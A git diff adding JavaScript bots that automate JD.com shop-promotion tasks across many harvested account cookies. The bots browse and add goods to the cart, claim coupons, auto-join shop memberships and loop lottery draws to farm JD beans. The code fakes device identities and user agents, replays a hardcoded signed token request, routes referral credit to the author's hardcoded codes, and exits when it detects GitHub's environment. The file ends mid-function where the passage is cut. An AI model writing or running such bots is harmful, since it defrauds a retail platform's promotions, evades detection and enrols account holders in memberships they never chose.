+ $.oneGoodInfo = $.activityData.task2BrowGoods.taskGoodList[i]; + if ($.oneGoodInfo.finished === false) { + console.log(`浏览:${$.oneGoodInfo.skuName || ''}`) + await takePostRequest('doBrowGoodsTask'); + await $.wait(2000); + needFinishNumber--; + } + } + }else{ + console.log(`浏览商品任务已完成`) + } + } + //加购商品任务 + if($.activityData.task3AddCart && $.runFalag){ + if($.activityData.task3AddCart.finishedCount !== $.activityData.task3AddCart.upLimit){ + needFinishNumber = Number($.activityData.task3AddCart.upLimit) - Number($.activityData.task3AddCart.finishedCount); + console.log(`开始做加购商品任务`); + $.upFlag = true; + for (let i = 0; i < $.activityData.task3AddCart.taskGoodList.length && needFinishNumber > 0 && $.runFalag; i++) { + $.oneGoodInfo = $.activityData.task3AddCart.taskGoodList[i]; + if ($.oneGoodInfo.finished === false) { + console.log(`加购:${$.oneGoodInfo.skuName || ''}`) + await takePostRequest('doAddGoodsTask'); + await $.wait(2000); + needFinishNumber--; + } + } + }else{ + console.log(`加购商品已完成`) + } + } + //分享任务 + if ($.activityData.task4Share && $.runFalag) { + if($.activityData.task4Share.finishedCount !== $.activityData.task4Share.upLimit){ + needFinishNumber = Number($.activityData.task4Share.upLimit) - Number($.activityData.task4Share.finishedCount); + console.log(`开始做分享任务`); + $.upFlag = true; + for (let i = 0; i < needFinishNumber && $.runFalag; i++) { + console.log(`执行第${i+1}次分享`); + await takePostRequest('doShareTask'); + await $.wait(2000); + } + }else{ + console.log(`分享任务已完成`) + } + } + //设置活动提醒 + if ($.activityData.task5Remind && $.runFalag) { + if($.activityData.task5Remind.finishedCount !== $.activityData.task5Remind.upLimit){ + console.log(`执行设置活动提醒`); + $.upFlag = true; + await takePostRequest('doRemindTask'); + await $.wait(2000); + }else{ + console.log(`设置活动提醒已完成`) + } + } + //领取优惠券 + if ($.activityData.task6GetCoupon && $.runFalag) { + if($.activityData.task6GetCoupon.finishedCount !== $.activityData.task6GetCoupon.upLimit){ + needFinishNumber = Number($.activityData.task6GetCoupon.upLimit) - Number($.activityData.task6GetCoupon.finishedCount); + console.log(`开始做领取优惠券`); + $.upFlag = true; + for (let i = 0; i < $.activityData.task6GetCoupon.taskCouponInfoList.length && needFinishNumber > 0 && $.runFalag; i++) { + $.oneCouponInfo = $.activityData.task6GetCoupon.taskCouponInfoList[i]; + if ($.oneCouponInfo.finished === false) { + await takePostRequest('doGetCouponTask'); + await $.wait(2000); + needFinishNumber--; + } + } + }else{ + console.log(`领取优惠券已完成`) + } + } + //逛会场 + if ($.activityData.task7MeetPlaceVo && $.runFalag) { + if($.activityData.task7MeetPlaceVo.finishedCount !== $.activityData.task7MeetPlaceVo.upLimit){ + console.log(`执行逛会场`); + $.upFlag = true; + await takePostRequest('doMeetingTask'); + await $.wait(2000); + }else{ + console.log(`逛会场已完成`) + } + } + +} + +async function takePostRequest(type){ + let url = ''; + let body = ``; + switch (type) { + case 'getSimpleActInfoVo': + url= 'https://lzkjdz-isv.isvjcloud.com/customer/getSimpleActInfoVo'; + body = `activityId=${$.activityID}`; + break; + case 'getMyPing': + url= 'https://lzkjdz-isv.isvjcloud.com/customer/getMyPing'; + body = `userId=${$.shopid}&token=${encodeURIComponent($.token)}&fromType=APP`; + break; + case 'activityContent': + url= 'https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/activityContent'; + body = `activityId=${$.activityID}&pin=${encodeURIComponent($.pin)}`; + break; + case 'getActMemberInfo': + url= 'https://lzkjdz-isv.isvjcloud.com/wxCommonInfo/getActMemberInfo'; + body = `venderId=${$.shopid}&activityId=${$.activityID}&pin=${encodeURIComponent($.pin)}`; + break; + case 'doBrowGoodsTask': + case 'doAddGoodsTask': + url= `https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/${type}`; + body = `activityId=${$.activityID}&uuid=${$.activityData.actorInfo.uuid}&skuId=${$.oneGoodInfo.skuId}`; + break; + case 'doSign': + case 'followShop': + case 'doShareTask': + case 'doRemindTask': + case 'doMeetingTask': + url= `https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/${type}`; + body = `activityId=${$.activityID}&uuid=${$.activityData.actorInfo.uuid}`; + break; + case 'doGetCouponTask': + url= `https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/${type}`; + body= `activityId=${$.activityID}&uuid=${$.activityData.actorInfo.uuid}&couponId=${$.oneCouponInfo.couponInfo.couponId}`; + break; + case 'startDraw': + url= `https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/${type}`; + body= `activityId=${$.activityID}&uuid=${$.activityData.actorInfo.uuid}&drawType=${$.drawType}`; + break; + default: + console.log(`错误${type}`); + } + let myRequest = getPostRequest(url,body); + return new Promise(async resolve => { + $.post(myRequest, (err, resp, data) => { + try { + dealReturn(type, data); + } catch (e) { + console.log(data); + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function dealReturn(type, data) { + try { + data = JSON.parse(data); + }catch (e) { + console.log(`执行任务异常`); + console.log(data); + $.runFalag = false; + } + switch (type) { + case 'getSimpleActInfoVo': + if (data.result) { + $.shopid = data.data.venderId; + } + break; + case 'getMyPing': + if (data.data && data.data.secretPin) { + $.pin = data.data.secretPin + $.nickname = data.data.nickname + }else{ + console.log(JSON.stringify(data)); + } + break; + case 'activityContent': + if (data.data && data.result && data.count === 0) { + $.activityData = data.data; + $.actinfo = $.activityData.actInfo + $.actorInfo = $.activityData.actorInfo + $.nowUseValue = Number($.actorInfo.fansLoveValue) + Number($.actorInfo.energyValue) ; + } else { + console.log(JSON.stringify(data)); + } + break; + case 'getActMemberInfo': + if (data.data && data.result && data.count === 0) { + $.memberInfo = data.data; + } + break; + case 'doSign': + if (data.result === true) { + console.log('签到成功') + } else { + console.log(data.errorMessage) + } + break; + case 'followShop': + case 'doBrowGoodsTask': + case 'doAddGoodsTask': + case 'doShareTask': + case 'doRemindTask': + case 'doGetCouponTask': + case 'doMeetingTask': + if (data.result === true) { + console.log('执行成功'); + } else { + console.log(data.errorMessage) + } + break; + case 'startDraw': + if(data.result && data.data){ + if(data.data.drawInfoType === 6){ + console.log(`抽奖获得:${data.data.name || ''}`); + }else if(data.data.drawInfoType === 0){ + console.log(`未抽中`); + }else{ + console.log(`抽奖结果:${data.data.name || ''}`); + } + } + console.log(JSON.stringify(data)); + break; + default: + console.log(JSON.stringify(data)); + } +} + +function getPostRequest(url,body) { + let headers = { + 'Host': 'lzkjdz-isv.isvjcloud.com', + 'Accept': 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Referer': 'https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/activity/' + $.activityID + '?activityId=' + $.activityID + '&shareuserid4minipg=jd_4806fb66e0f3e&shopid=undefined', + 'user-agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': $.cookie, + } + return {url: url, method: `POST`, headers: headers, body: body}; +} +function accessLogWithAD() { + let config = { + url: `https://lzkjdz-isv.isvjcloud.com/common/accessLogWithAD`, + headers: { + 'Host': 'lzkjdz-isv.isvjcloud.com', + 'Accept': 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'user-agent': $.UA, + 'Referer': 'https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/activity/' + $.activityID + '?activityId=' + $.activityID + '&shareuserid4minipg=jd_4806fb66e0f3e&shopid=undefined', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': $.cookie, + }, + body:`venderId=${$.shopid}&code=69&pin=${encodeURIComponent($.pin)}&activityId=${$.activityID}&pageUrl=https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/activity/${$.activityID}?activityId=${$.activityID}&shareuserid4minipg=&shopid=undefined&subType=app&adSource=` + } + return new Promise(resolve => { + $.post(config, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.cookie = $.oldcookie; + if ($.isNode()) + for (let ck of resp['headers']['set-cookie']) { + $.cookie = `${$.cookie}${ck.split(";")[0]};` + } + else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + $.cookie = `${$.cookie}${ck.split(";")[0]};` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getActCk() { + let config = { + url: `https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/activity/${$.activityID}?activityId=${$.activityID}&shareuserid4minipg=jd_4806fb66e0f3e&shopid=undefined`, + headers: { + 'Host': 'lzkjdz-isv.isvjcloud.com', + 'Accept': 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Referer': 'https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/activity/' + $.activityID + '?activityId=' + $.activityID + '&shareuserid4minipg=jd_4806fb66e0f3e&shopid=undefined', + 'user-agent': $.UA, + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': $.cookie, + } + } + return new Promise(resolve => { + $.get(config, (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + $.cookie = $.oldcookie; + if ($.isNode()) + for (let ck of resp['headers']['set-cookie']) { + $.cookie = `${$.cookie}${ck.split(";")[0]};` + } + else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + $.cookie = `${$.cookie}${ck.split(";")[0]};` + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getToken() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator&clientVersion=10.0.6&build=88852&client=android&d_brand=Xiaomi&d_model=RedmiK30&osVersion=11&screen=2175*1080&partner=xiaomi001&oaid=b30cf82cacfa8972&openudid=290955c2782e1c44&eid=eidAef5f8122a0sf2tNlFbi9TV+3rtJ+jl5UptrTZo/Aq5MKUEaXcdTZC6RfEBt5Jt3Gtml2hS+ZvrWoDvkVv4HybKpJJVMdRUkzX7rGPOis1TRFRUdU&sdkVersion=30&lang=zh_CN&uuid=290955c2782e1c44&aid=290955c2782e1c44&area=1_2803_2829_0&networkType=wifi&wifiBssid=unknown&uts=0f31TVRjBSsSbxrSGoN9DgdOSm6pBw5mcERcSRBBxns2PPMfI6n6ccc3sDC5tvqojX6KE6uHJtCmbQzfS%2B6T0ggVk1TfVMHdFhgxdB8xiJq%2BUJPVGAaS5duja15lBdKzCeU4J31903%2BQn8mkzlfNoAvZI7hmcbV%2FZBnR1VdoiUChwWlAxuEh75t18FqkjuqQHvhONIbhrfofUoFzbcriHw%3D%3D&uemps=0-0&harmonyOs=0&st=1625157308996&sign=e5ef32369adb2e4b7024cff612395a72&sv=110', + body: 'body=%7B%22id%22%3A%22%22%2C%22url%22%3A%22https%3A%2F%2Flzkjdz-isv.isvjcloud.com%22%7D&', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': $.cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.token = data['token'] + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/3364463029;appBuild/167764;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": $.cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_fansa.js b/backUp/jd_fansa.js new file mode 100644 index 0000000..d6c4c61 --- /dev/null +++ b/backUp/jd_fansa.js @@ -0,0 +1,563 @@ +/** + +**/ + +const { da } = require('date-fns/locale'); + +const $ = new Env("超店会员福利社"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let ownCode = []; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + console.log('更新ck'); + continue + } + authorCodeList = [ + '67da87cee588481b886d60af864bf59c', + 'ab9643010262431da639ef9d5533fe8d', + ] + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + // $.authorCode = authorCodeList[random(0, authorCodeList.length)] + $.authorCode = ownCode['actorUuid'] ? ownCode['actorUuid'] : authorCodeList[random(0, authorCodeList.length)] + $.authorNum = `${random(1000000, 9999999)}` + $.activityId = 'dz2109100001616222' + $.activityShopId = '1000016162' + $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/shop/league/activity?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` + await superFans(); + await $.wait(2000); + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function superFans() { + $.token = null; + $.secretPin = null; + $.openCardActivityId = null + await getFirstLZCK() + await getToken(); + await task('dz/common/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) + if ($.token) { + await getMyPing(); + if ($.secretPin) { + console.log('去助力 -> '+$.authorCode) + await task("taskact/common/drawContent", `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) + await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); + await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) + await task('shop/league/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=${encodeURIComponent($.pinImg)}&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) + if ($.activityContent) { + await task('shop/league/checkOpenCard', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&shareUuid=${encodeURIComponent($.authorCode)}&actorUuid=${$.actorUuid}`) + $.log("\n关注店铺") + if (!$.activityContent['followShop'].allStatus) { + await task('shop/league/saveTask', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${encodeURIComponent($.authorCode)}&taskType=1&taskValue=1`) + } else { + $.log("已经关注过了\n") + // return + } + $.log("\n加入店铺会员"); + if ($.openCardStatus) { + taskList = $.openCardStatus.cardList.filter((x) => !x.status); + for (const vo of taskList) { + $.log(`去加入${vo.name}`); + if (vo.value === vo.value2) { + await bindWithVender( + { + venderId: `${vo.value}`, + bindByVerifyCodeFlag: 1, + registerExtend: {}, + writeChildFlag: 0, + activityId: $.openCardActivityId, + channel: 401, + }, + vo.value + ); + } else { + await bindWithVender( + { + venderId: `${vo.value}`, + shopId: `${vo.value2}`, + bindByVerifyCodeFlag: 1, + registerExtend: {}, + writeChildFlag: 0, + activityId: $.openCardActivityId, + channel: 401, + }, + vo.value + ); + } + await $.wait(1500); + await task( + "shop/league/checkOpenCard", + `activityId=${$.activityId}&actorUuid=${$.actorUuid}&shareUuid=${$.authorCode + }&pin=${encodeURIComponent($.secretPin)}` + ); + await $.wait(2000); + } + + $.log("\n加入购物车") + if (!$.activityContent['addSku'].allStatus) { + await task('shop/league/saveTask', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${encodeURIComponent($.authorCode)}&taskType=2&taskValue=2`) + } else { + $.log("已经关注过了\n") + } + + $.startDraw =true + while($.startDraw){ + await task('shop/league/startDraw', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}`) + } + } else { + $.log("没有获取到对应的任务。\n"); + } + } else { + $.log("无法顺利的获取到活动信息。") + } + } else { + $.log("没有成功获取到用户信息") + } + } else { + $.log("没有成功获取到用户鉴权信息") + } +} + +function task(function_id, body, isCommon = 0) { + return new Promise(resolve => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (data.result) { + switch (function_id) { + case 'shop/league/startDraw': + if(data.result){ + console.log(data.data.name) + } + break; + case 'dz/common/getSimpleActInfoVo': + $.jdActivityId = data.data.jdActivityId; + $.venderId = data.data.venderId; + break; + case 'wxActionCommon/getUserInfo': + if (data.data.yunMidImageUrl) { + if ($.index === 1) { + ownCode['pinImg'] = data.data.yunMidImageUrl + ownCode['nickname'] = data.data.nickname + } + $.pinImg = data.data.yunMidImageUrl + } else { + if ($.index === 1) { + ownCode['pinImg'] = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' + ownCode['nickname'] = data.data.nickname + } + $.pinImg = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' + } + break; + case 'shop/league/activityContent': + if (!data.data.hasEnd) { + $.log(`开启【${data.data.activityName}】活动`) + $.log("-------------------") + if ($.index === 1) { + ownCode['actorUuid'] = data.data.actorUuid + console.log("你的助力码 -> "+ownCode['actorUuid']) + } + $.activityContent = data.data; + $.actorUuid = data.data.actorUuid; + } else { + $.log("活动已经结束"); + } + break; + case 'shop/league/checkOpenCard': + $.openCardStatus = data.data; + break; + case 'shop/league/saveTask': + if (data.data) { + if (data.data.addBeanNum) { + $.bean += data.data.addBeanNum; + $.log(`获得【${data.data.addBeanNum}】京豆\n`) + } + if (data.data.addScore) { + $.log(`获得【${data.data.addScore}】积分\n`) + } + } + break; + default: + $.log(JSON.stringify(data)) + break; + } + } else { + $.log(JSON.stringify(data)) + if(data.errorMessage.includes('您的抽奖次数不足')){ + $.startDraw = false + } + } + } else { + $.log("京东没有返回数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function 